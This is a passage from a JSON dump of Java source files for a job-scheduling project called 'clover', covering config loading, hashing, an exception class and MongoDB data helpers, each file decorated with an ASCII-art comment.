return s;\r\n\r\n    }\r\n    public static String toHex(byte input[])\r\n    {\r\n        if(input == null)\r\n            return null;\r\n        StringBuffer output = new StringBuffer(input.length * 2);\r\n        for(int i = 0; i < input.length; i++)\r\n        {\r\n            int current = input[i] & 0xff;\r\n            if(current < 16)\r\n                output.append(\"0\");\r\n            output.append(Integer.toString(current, 16));\r\n        }\r\n\r\n        return output.toString();\r\n    }\r\n\r\n    // 测试主函数\r\n    public static void main(String args[]) {\r\n       /* String s = new String(\"wangyue-ds6\");\r\n        System.out.println(\"原始：\" + s);\r\n        System.out.println(\"MD5后：\" + encryptMD5(s));\r\n        //System.out.println(\"加密的：\" + convertMD5(s));\r\n        System.out.println(\"解密的：\" + convertMD5(convertMD5(s))); */\r\n        String key =\"clover\";\r\n        String s = new String(\"clover\");\r\n        System.out.println(\"原始：\" + s);\r\n        System.out.println(\"MD5后:\" + encryptMD5WithKey(s,key));\r\n        System.out.println(\"解密的：\" + convertMD5(convertMD5(s)));\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/exception/AppException.java",
    "content": "package com.gome.clover.common.exception;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc: App Exception\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\npublic class AppException extends RuntimeException{\r\n\tprivate static final long serialVersionUID = 1L;\r\n\tpublic AppException() {\r\n\t\tsuper();\r\n\t}\r\n\t\r\n\tpublic AppException(String message) {\r\n\t\tsuper(message);\r\n\t}\r\n\t\r\n\tpublic AppException(String message, Throwable cause) {\r\n\t\tsuper(message, cause);\r\n\t}\r\n\t\r\n\tpublic AppException(Throwable cause) {\r\n\t\tsuper(cause);\r\n\t}\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/file/ConfigFile.java",
    "content": "package com.gome.clover.common.file;\r\n\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.w3c.dom.Node;\r\n\r\nimport java.util.ResourceBundle;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 15:09\r\n */\r\n\r\npublic class ConfigFile {\r\n    protected static Logger logger = LoggerFactory.getLogger(ConfigFile.class);\r\n    private ResourceBundle rb = null;\r\n    private static ConfigFile commonConfig = null;\r\n    private static ConfigFile mongoDBConfig = null;\r\n    private static ConfigFile zkConfig = null;\r\n    private static ConfigFile redisConfig = null;\r\n\r\n    static {\r\n        logger.info(\"load mongoDBConfig properities & zkConfig & url & redisConfig properities.\");\r\n        commonConfig = new ConfigFile(ResourceBundle.getBundle(\"commonConfig\"));\r\n        mongoDBConfig = new ConfigFile(ResourceBundle.getBundle(\"mongoDBConfig\"));\r\n        zkConfig = new ConfigFile(ResourceBundle.getBundle(\"zkConfig\"));\r\n        redisConfig = new ConfigFile(ResourceBundle.getBundle(\"redisConfig\"));\r\n    }\r\n\r\n    public ConfigFile(ResourceBundle rb) {\r\n        this.rb = rb;\r\n    }\r\n\r\n    public static ConfigFile commonConfig() {\r\n        return commonConfig;\r\n    }\r\n    public static ConfigFile mongoDBConfig() {\r\n        return mongoDBConfig;\r\n    }\r\n    public static ConfigFile zkConfig() {return zkConfig;}\r\n    public static ConfigFile redisConfig() {return redisConfig;}\r\n\r\n    public String getItem(String item,String defaultValue) {\r\n        String value = null;\r\n        if (this.rb != null) {\r\n            try {\r\n                value = this.rb.getString(item.trim());\r\n                value = value.trim();\r\n            } catch (Exception e) {\r\n                value = defaultValue;\r\n            }\r\n        }\r\n        if (StringUtil.isEmpty(value)) {\r\n            value = defaultValue;\r\n        }\r\n        return value;\r\n    }\r\n\r\n    public int getIntItem(String item, String defaultValue) {\r\n        int i = 0;\r\n        String value = getItem(item,defaultValue);\r\n        try {\r\n            i = Integer.parseInt(value);\r\n        } catch (NumberFormatException e) {\r\n            logger.info(e.getMessage());\r\n        }\r\n        return i;\r\n    }\r\n    public long getLongItem(String item, String defaultValue) {\r\n        long i = 0;\r\n        String value = getItem(item,defaultValue);\r\n        try {\r\n            i = Long.valueOf(value);\r\n        } catch (NumberFormatException e) {\r\n            logger.info(e.getMessage());\r\n        }\r\n        return i;\r\n    }\r\n    public double getDoubleItem(String item, String defaultValue) {\r\n        double i = 0;\r\n        String value = getItem(item,defaultValue);\r\n        try {\r\n            i = Double.valueOf(value);\r\n        } catch (NumberFormatException e) {\r\n            logger.info(e.getMessage());\r\n        }\r\n        return i;\r\n    }\r\n\r\n    public boolean getBooleanItem(String item, boolean defaultValue) {\r\n        boolean b = false;\r\n        String value = getItem(item, new Boolean(defaultValue).toString());\r\n        if ((value != null) && (value.equalsIgnoreCase(\"true\"))) {\r\n            b = true;\r\n        }\r\n        return b;\r\n    }\r\n\r\n    protected String getNodeValue(Node _node) {\r\n        if (_node == null) {\r\n            return null;\r\n        }\r\n        Node _firstChild = _node.getFirstChild();\r\n        if (_firstChild == null) {\r\n            return null;\r\n        }\r\n        String _text = _firstChild.getNodeValue();\r\n        if (_text != null) {\r\n            _text = _text.trim();\r\n        }\r\n        return _text;\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/hash/HashTimes.java",
    "content": "package com.gome.clover.common.hash;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 14:00\r\n */\r\npublic class HashTimes\r\n{\r\n    public static int use33(String key)\r\n    {\r\n        int hashCode = 0;\r\n        int i = 0;\r\n        int len = key.length();\r\n        for (; i < len; i++) {\r\n            hashCode = hashCode * 33 + key.codePointAt(i) & 0x7FFFFFFF;\r\n        }\r\n        return hashCode;\r\n    }\r\n\r\n    public static int use37(String key) {\r\n        return 0;\r\n    }\r\n\r\n    public static void main(String[] args)\r\n    {\r\n        for (int i = 0; i < 100; i++)\r\n            System.out.println(i + \"=\" + use33(String.valueOf(i)) % 5);\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/mongodb/BuildMongoDBData.java",
    "content": "package com.gome.clover.common.mongodb;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ServerJob;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport sun.net.util.IPAddressUtil;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/27\r\n * Time: 20:17\r\n */\r\npublic class BuildMongoDBData {\r\n    public static BasicDBObject getInsertJobBasicDBObject(ClientJob clientJob) {\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(DBTableInfo.COL_JOB_KEY, clientJob.getJobDetail().getKey().toString());\r\n        document.put(DBTableInfo.COL_JOB_TYPE, clientJob.getJobType().name());\r\n        document.put(DBTableInfo.COL_EXECUTE_TYPE, clientJob.getExecuteType().name());\r\n        document.put(DBTableInfo.COL_JOB_STRATEGY, clientJob.getJobStrategy().name());\r\n        document.put(DBTableInfo.COL_START_TIME, null != clientJob.getStartTime()?clientJob.getStartTime():\"\");\r\n        document.put(DBTableInfo.COL_CRON_EXPRESSION,  null != clientJob.getCronExpression()?clientJob.getCronExpression():\"\");\r\n        document.put(DBTableInfo.COL_JOB_INFO, Base64.encodeBase64String(ClassUtil.ObjectToBytes(clientJob)));\r\n        document.put(DBTableInfo.COL_CLIENT_IP, null != clientJob.getClientIp()?clientJob.getClientIp() : \"\");\r\n        if(clientJob.getJobType() == ClientJob.JobType.REMOTE) document.put(DBTableInfo.COL_SERVER_IP, null != clientJob.getServerIp()?clientJob.getServerIp() : IpUtil.getLocalIP());\r\n        document.put(DBTableInfo.COL_FIXED_CLIENT_IPS, null != clientJob.getFixedClientIps() ? JSON.toJSONString(clientJob.getFixedClientIps()) : \"\");\r\n        document.put(DBTableInfo.COL_FIXED_SERVER_IPS, null != clientJob.getFixedServerIps() ? JSON.toJSONString(clientJob.getFixedServerIps()) : \"\");\r\n        document.put(DBTableInfo.COL_EXECUTE_START_TIME,\"\");\r\n        document.put(DBTableInfo.COL_EXECUTE_END_TIME, \"\");\r\n        document.put(DBTableInfo.COL_TIMES,0);\r\n        document.put(DBTableInfo.COL_FAIL_TIMES,0);\r\n        document.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_1);\r\n        document.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n        return document;\r\n    }\r\n    public static BasicDBObject getDeleteJobBasicDBObject(ClientJob clientJob) {\r\n        BasicDBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_JOB_KEY, clientJob.getJobDetail().getKey().toString());\r\n        condition.put(DBTableInfo.COL_JOB_TYPE,clientJob.getJobType().name());\r\n        return condition;\r\n    }\r\n\r\n    public static BasicDBObject getInsertLogBasicDBObject(String jobKey, String execMethod, String execResult) {\r\n        BasicDBObject basicDBObject = new BasicDBObject();\r\n        basicDBObject.put(DBTableInfo.COL_SYSTEM_ID, CommonConstants.SYSTEM_ID_CLOVER);\r\n        basicDBObject.put(DBTableInfo.COL_IP, IpUtil.getLocalIP());\r\n        basicDBObject.put(DBTableInfo.COL_JOB_KEY, jobKey);\r\n        basicDBObject.put(DBTableInfo.COL_EXEC_METHOD, execMethod);\r\n        basicDBObject.put(DBTableInfo.COL_EXEC_RESULT, execResult);\r\n        basicDBObject.put(DBTableInfo.COL_EXEC_TIME, DateUtil.currentDateTime());\r\n        basicDBObject.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n        return basicDBObject;\r\n    }\r\n\r\n    public static void saveTempJobData2DB(ServerJob serverJob) {\r\n        DBObject queryCondition = new BasicDBObject();\r\n        queryCondition.put(DBTableInfo.COL_JOB_KEY, serverJob.getJobDetail().getKey().toString());\r\n        queryCondition.put(DBTableInfo.COL_CLIENT_IP, serverJob.getClientIp());\r\n        DBObject retObj = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB).findOne(queryCondition);\r\n        if (null == retObj) {\r\n            BasicDBObject document = BuildMongoDBData.getInsertJobBasicDBObject(serverJob);\r\n            MongoDBUtil.INSTANCE.insertOrUpdate(document, DBTableInfo.TBL_CLOVER_JOB_TEMP);\r\n        }\r\n    }\r\n\r\n    public static DBObject getDBObjectFromClientJob(ClientJob clientJob){\r\n        DBObject dbObject = new BasicDBObject();\r\n        dbObject.put(DBTableInfo.COL_JOB_KEY, clientJob.getJobDetail().getKey().toString());\r\n        dbObject.put(DBTableInfo.COL_JOB_TYPE, clientJob.getJobType().name());\r\n        return dbObject;\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/mongodb/DBTableInfo.java",
    "content": "package com.gome.clover.common.mongodb;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:DB Table Info\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class DBTableInfo {\r\n\r\n    /*表中公用列字段 开始*/\r\n\r\n    /**\r\n     * 表 clover_job\r\n     */\r\n    public  static  final String TBL_CLOVER_JOB = \"clover_job\";\r\n\r\n    /**\r\n     * 表 clover_job_temp\r\n     */\r\n    public  static  final String TBL_CLOVER_JOB_TEMP = \"clover_job_temp\";\r\n\r\n    /**\r\n     * 表 clover_contact\r\n     */\r\n    public  static  final String TBL_CLOVER_CONTACT = \"clover_contact\";\r\n\r\n    /**\r\n     * 表 clover_log\r\n     */\r\n    public  static  final String TBL_CLOVER_LOG = \"clover_log\";\r\n\r\n    /**\r\n     * 表 clover_config\r\n     */\r\n    public  static  final String TBL_CLOVER_CONFIG = \"clover_config\";\r\n\r\n    /**\r\n     * DB 列  ID\r\n     */\r\n    public  static  final String COL_ID= \"_id\";\r\n\r\n    /**\r\n     * DB 列  jobKey\r\n     */\r\n    public  static  final String COL_JOB_KEY = \"jobKey\";\r\n\r\n\r\n    /**\r\n     * DB 列  client ip\r\n     */\r\n    public  static  final String COL_CLIENT_IP= \"clientIp\";\r\n    /**\r\n     * DB 列  server ip\r\n     */\r\n    public  static  final String COL_SERVER_IP= \"serverIp\";\r\n\r\n    /**\r\n     * DB 列  ts\r\n     */\r\n    public  static  final String COL_TS = \"ts\";\r\n\r\n    /*表中公用列字段 结束*/\r\n\r\n\r\n    /*job表列字段 开始*/\r\n\r\n    /**\r\n     * DB 列  jobType\r\n     */\r\n    public  static  final String COL_JOB_TYPE = \"jobType\";\r\n\r\n    /**\r\n     * DB 列  executeType\r\n     */\r\n    public  static  final String COL_EXECUTE_TYPE = \"executeType\";\r\n\r\n    /**\r\n     * DB 列  jobStrategy\r\n     */\r\n    public  static  final String COL_JOB_STRATEGY = \"jobStrategy\";\r\n\r\n    /**\r\n     * DB 列  job 执行时间\r\n     */\r\n    public  static  final String COL_START_TIME = \"startTime\";\r\n\r\n    /**\r\n     * DB 列  job cron执行表达式\r\n     */\r\n    public  static  final String COL_CRON_EXPRESSION = \"cronExpression\";\r\n\r\n    /**\r\n     * DB 列  jobInfo\r\n     */\r\n    public  static  final String COL_JOB_INFO = \"jobInfo\";\r\n\r\n    /**\r\n     * DB 列 fixedClientIps\r\n     */\r\n    public  static  final String COL_FIXED_CLIENT_IPS = \"fixedClientIps\";\r\n    /**\r\n     * DB 列 fixedServerIps\r\n     */\r\n    public  static  final String COL_FIXED_SERVER_IPS = \"fixedServerIps\";\r\n\r\n    /**\r\n     * DB 列  execute start time\r\n     */\r\n    public  static  final String COL_EXECUTE_START_TIME = \"executeStartTime\";\r\n\r\n    /**\r\n     * DB 列 execute end time\r\n     */\r\n    public  static  final String COL_EXECUTE_END_TIME = \"executeEndTime\";\r\n    /**\r\n     * DB 列 times\r\n     */\r\n    public  static  final String COL_TIMES = \"times\";\r\n\r\n    /**\r\n     * DB 列 failTimes\r\n     */\r\n    public  static  final String COL_FAIL_TIMES = \"failTimes\";\r\n\r\n    /**\r\n     * DB 列  status\r\n     */\r\n    public  static  final String COL_STATUS = \"status\";\r\n\r\n    /*job表列字段 结束*/\r\n\r\n     /*contact表列字段 开始*/\r\n\r\n    /**\r\n     * DB 列  contacter\r\n     */\r\n    public  static  final String COL_CONTACTER = \"contacter\";\r\n\r\n    /**\r\n     * DB 列  email\r\n     */\r\n    public  static  final String COL_EMAIL = \"email\";\r\n\r\n    /**\r\n     * DB 列  mobile\r\n     */\r\n    public  static  final String COL_MOBILE = \"mobile\";\r\n\r\n    /*contact表列字段 结束*/\r\n\r\n    /*log表列字段 开始*/\r\n\r\n    /**\r\n     * DB 列  systemId\r\n     */\r\n    public  static  final String COL_SYSTEM_ID = \"systemId\";\r\n\r\n    /**\r\n     * DB 列  ip\r\n     */\r\n    public  static  final String COL_IP = \"ip\";\r\n\r\n    /**\r\n     * DB 列  execMethod\r\n     */\r\n    public  static  final String COL_EXEC_METHOD = \"execMethod\";\r\n\r\n    /**\r\n     * DB 列  execResult\r\n     */\r\n    public  static  final String COL_EXEC_RESULT = \"execResult\";\r\n\r\n    /**\r\n     * DB 列  execTime\r\n     */\r\n    public  static  final String COL_EXEC_TIME = \"execTime\";\r\n\r\n    /*log表列字段 结束*/\r\n\r\n     /*config表列字段 开始*/\r\n    /**\r\n     * DB 列  key\r\n     */\r\n    public  static  final String COL_CONFIG_KEY = \"key\";\r\n\r\n    /**\r\n     * DB 列  value\r\n     */\r\n    public  static  final String COL_CONFIG_VALUE = \"value\";\r\n\r\n    /**\r\n     * DB 列  type\r\n     */\r\n    public  static  final String COL_CONFIG_TYPE = \"type\";\r\n     /*config表列字段 结束*/\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/mongodb/MongoDBUtil.java",
    "content": "package com.gome.clover.common.mongodb;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport com.gome.clover.common.tools.*;\r\nimport com.mongodb.*;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.net.UnknownHostException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.Properties;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:MongoDB 工具类\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum MongoDBUtil {\r\n    INSTANCE;\r\n    private static final Logger logger = LoggerFactory.getLogger(MongoDBUtil.class);\r\n    private static DB db = null;\r\n\r\n    private static void getDB() {\r\n        Properties properties = PropertiesUtil.loadProperties(\"mongoDBConfig.properties\");\r\n        try {\r\n            List<ServerAddress> serverAddressArrayList = new ArrayList<ServerAddress>();\r\n            List<MongoCredential> credentialsList = new ArrayList<MongoCredential>();\r\n            String mongoAddressStr = (String) properties.get(\"mongoAddress\");\r\n            if (!StringUtil.isEmpty(mongoAddressStr)) {\r\n                String[] ipStr = mongoAddressStr.split(\",\");\r\n                for (String ip : ipStr) {\r\n                    String[] addressStr = ip.split(\":\");\r\n                    ServerAddress address = new ServerAddress(addressStr[0], Integer.parseInt(addressStr[1]));\r\n                    serverAddressArrayList.add(address);//地址\r\n                    MongoCredential credential = MongoCredential.createMongoCRCredential(\r\n                            (String) properties.get(\"userName\"), (String) properties.get(\"dbName\"),\r\n                            ((String) properties.get(\"password\")).toCharArray());\r\n                    credentialsList.add(credential);//用户名和密码\r\n                }\r\n                MongoClientOptions.Builder builder = new MongoClientOptions.Builder();\r\n                builder.connectionsPerHost(Integer.parseInt((String) properties.get(\"connectionsPerHost\")));\r\n                builder.socketTimeout(Integer.parseInt((String) properties.get(\"socketTimeout\")));\r\n                builder.maxWaitTime(Integer.parseInt((String) properties.get(\"maxWaitTime\")));\r\n                builder.connectTimeout(Integer.parseInt((String) properties.get(\"connectTimeout\")));\r\n                builder.socketKeepAlive(Boolean.valueOf((String) properties.get(\"socketKeepAlive\")));\r\n                builder.autoConnectRetry(Boolean.valueOf((String) properties.get(\"autoConnectRetry\")));\r\n                builder.threadsAllowedToBlockForConnectionMultiplier(Integer.parseInt((String) properties.get(\"threadsAllowedToBlockForConnectionMultiplier\")));\r\n\r\n                MongoClient client = new MongoClient(serverAddressArrayList, credentialsList, builder.build());\r\n                client.setReadPreference(ReadPreference.secondaryPreferred());\r\n                client.setWriteConcern(new WriteConcern(1, 10000, false, false));\r\n                db = client.getDB((String) properties.get(\"dbName\"));\r\n            }\r\n\r\n        } catch (UnknownHostException e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MongoDBUtil-->>getDB() error\", e);\r\n        }\r\n    }\r\n\r\n    public static DBCollection getCollection(String collectionName) {\r\n        try {\r\n            if (db == null) {\r\n                getDB();\r\n            }\r\n            return db.getCollection(collectionName);\r\n        } catch (Exception e) {\r\n            if (logger.isDebugEnabled()) e.printStackTrace();\r\n            logger.error(\"MongoDBUtil-->>getCollection(collectionName:\" + collectionName + \") error\", e);\r\n        }\r\n        return null;\r\n    }\r\n\r\n    public static DBObject findOneByCondition(DBObject condition, String collectionName) {\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        return dbCollection.findOne(condition);\r\n    }\r\n\r\n    public static DBCursor findByCondition(DBObject condition, String collectionName) {\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        return dbCollection.find(condition);\r\n    }\r\n\r\n    public static boolean insert(BasicDBObject basicDBObject, String collectionName) {\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        WriteResult writeResult = dbCollection.insert(basicDBObject);\r\n        return writeResult.getN() > 0;\r\n    }\r\n\r\n    public static boolean insertOrUpdate(BasicDBObject basicDBObject, String collectionName) {\r\n        logger.error(\"MongoDBUtil -> insertOrUpdate >>>\");\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        DBObject queryCondition = new BasicDBObject();\r\n        queryCondition.put(DBTableInfo.COL_JOB_KEY, basicDBObject.get(DBTableInfo.COL_JOB_KEY));\r\n        queryCondition.put(DBTableInfo.COL_JOB_TYPE, basicDBObject.get(DBTableInfo.COL_JOB_TYPE));\r\n        DBObject retObj = dbCollection.findOne(queryCondition);\r\n        boolean flag;\r\n        if (null != retObj) { //只更新时间戳TS和状态\r\n            BasicDBObject updateCondition = new BasicDBObject();\r\n            if (null != retObj.get(DBTableInfo.COL_STATUS) && !retObj.get(DBTableInfo.COL_STATUS).equals(CommonConstants.JOB_STATUS_2)) {\r\n                updateCondition.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_2);\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_JOB_INFO) &&\r\n                    !retObj.get(DBTableInfo.COL_JOB_INFO).equals(basicDBObject.get(DBTableInfo.COL_JOB_INFO))) {\r\n                updateCondition.put(DBTableInfo.COL_JOB_INFO, basicDBObject.get(DBTableInfo.COL_JOB_INFO));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_CLIENT_IP) &&\r\n                    !retObj.get(DBTableInfo.COL_CLIENT_IP).equals(basicDBObject.get(DBTableInfo.COL_CLIENT_IP))) {\r\n                updateCondition.put(DBTableInfo.COL_CLIENT_IP, basicDBObject.get(DBTableInfo.COL_CLIENT_IP));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_SERVER_IP) &&\r\n                    !retObj.get(DBTableInfo.COL_SERVER_IP).equals(basicDBObject.get(DBTableInfo.COL_SERVER_IP))) {\r\n                updateCondition.put(DBTableInfo.COL_SERVER_IP, basicDBObject.get(DBTableInfo.COL_SERVER_IP));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_START_TIME) &&\r\n                    !retObj.get(DBTableInfo.COL_START_TIME).equals(basicDBObject.get(DBTableInfo.COL_START_TIME))) {\r\n                updateCondition.put(DBTableInfo.COL_START_TIME, basicDBObject.get(DBTableInfo.COL_START_TIME));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_START_TIME) &&\r\n                    !retObj.get(DBTableInfo.COL_START_TIME).equals(basicDBObject.get(DBTableInfo.COL_START_TIME))) {\r\n                updateCondition.put(DBTableInfo.COL_START_TIME, basicDBObject.get(DBTableInfo.COL_START_TIME));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION) &&\r\n                    !retObj.get(DBTableInfo.COL_CRON_EXPRESSION).equals(basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION))) {\r\n                updateCondition.put(DBTableInfo.COL_CRON_EXPRESSION, basicDBObject.get(DBTableInfo.COL_CRON_EXPRESSION));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS) &&\r\n                    !retObj.get(DBTableInfo.COL_FIXED_CLIENT_IPS).equals(basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS))) {\r\n                updateCondition.put(DBTableInfo.COL_FIXED_CLIENT_IPS, basicDBObject.get(DBTableInfo.COL_FIXED_CLIENT_IPS));\r\n            }\r\n            if (null != basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS) &&\r\n                    !retObj.get(DBTableInfo.COL_FIXED_SERVER_IPS).equals(basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS))) {\r\n                updateCondition.put(DBTableInfo.COL_FIXED_SERVER_IPS, basicDBObject.get(DBTableInfo.COL_FIXED_SERVER_IPS));\r\n            }\r\n            updateCondition.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n            flag = dbCollection.update(new BasicDBObject(DBTableInfo.COL_ID, retObj.get(DBTableInfo.COL_ID)),\r\n                    new BasicDBObject(\"$set\", updateCondition), true, false).getN() > 0;\r\n        } else {\r\n            dbCollection.insert(basicDBObject);\r\n            flag = true;\r\n        }\r\n        return flag;\r\n    }\r\n\r\n    public static boolean update(BasicDBObject basicDBObject, String collectionName) {\r\n        DBCollection dbCollection = getCollection(collectionName);\r\n        DBObject queryCondition = new BasicDBObject();\r\n        queryCondition.put(DBTableInfo.COL_JOB_KEY, basicDBObject.get(DBTableInfo.COL_JOB_KEY));\r\n        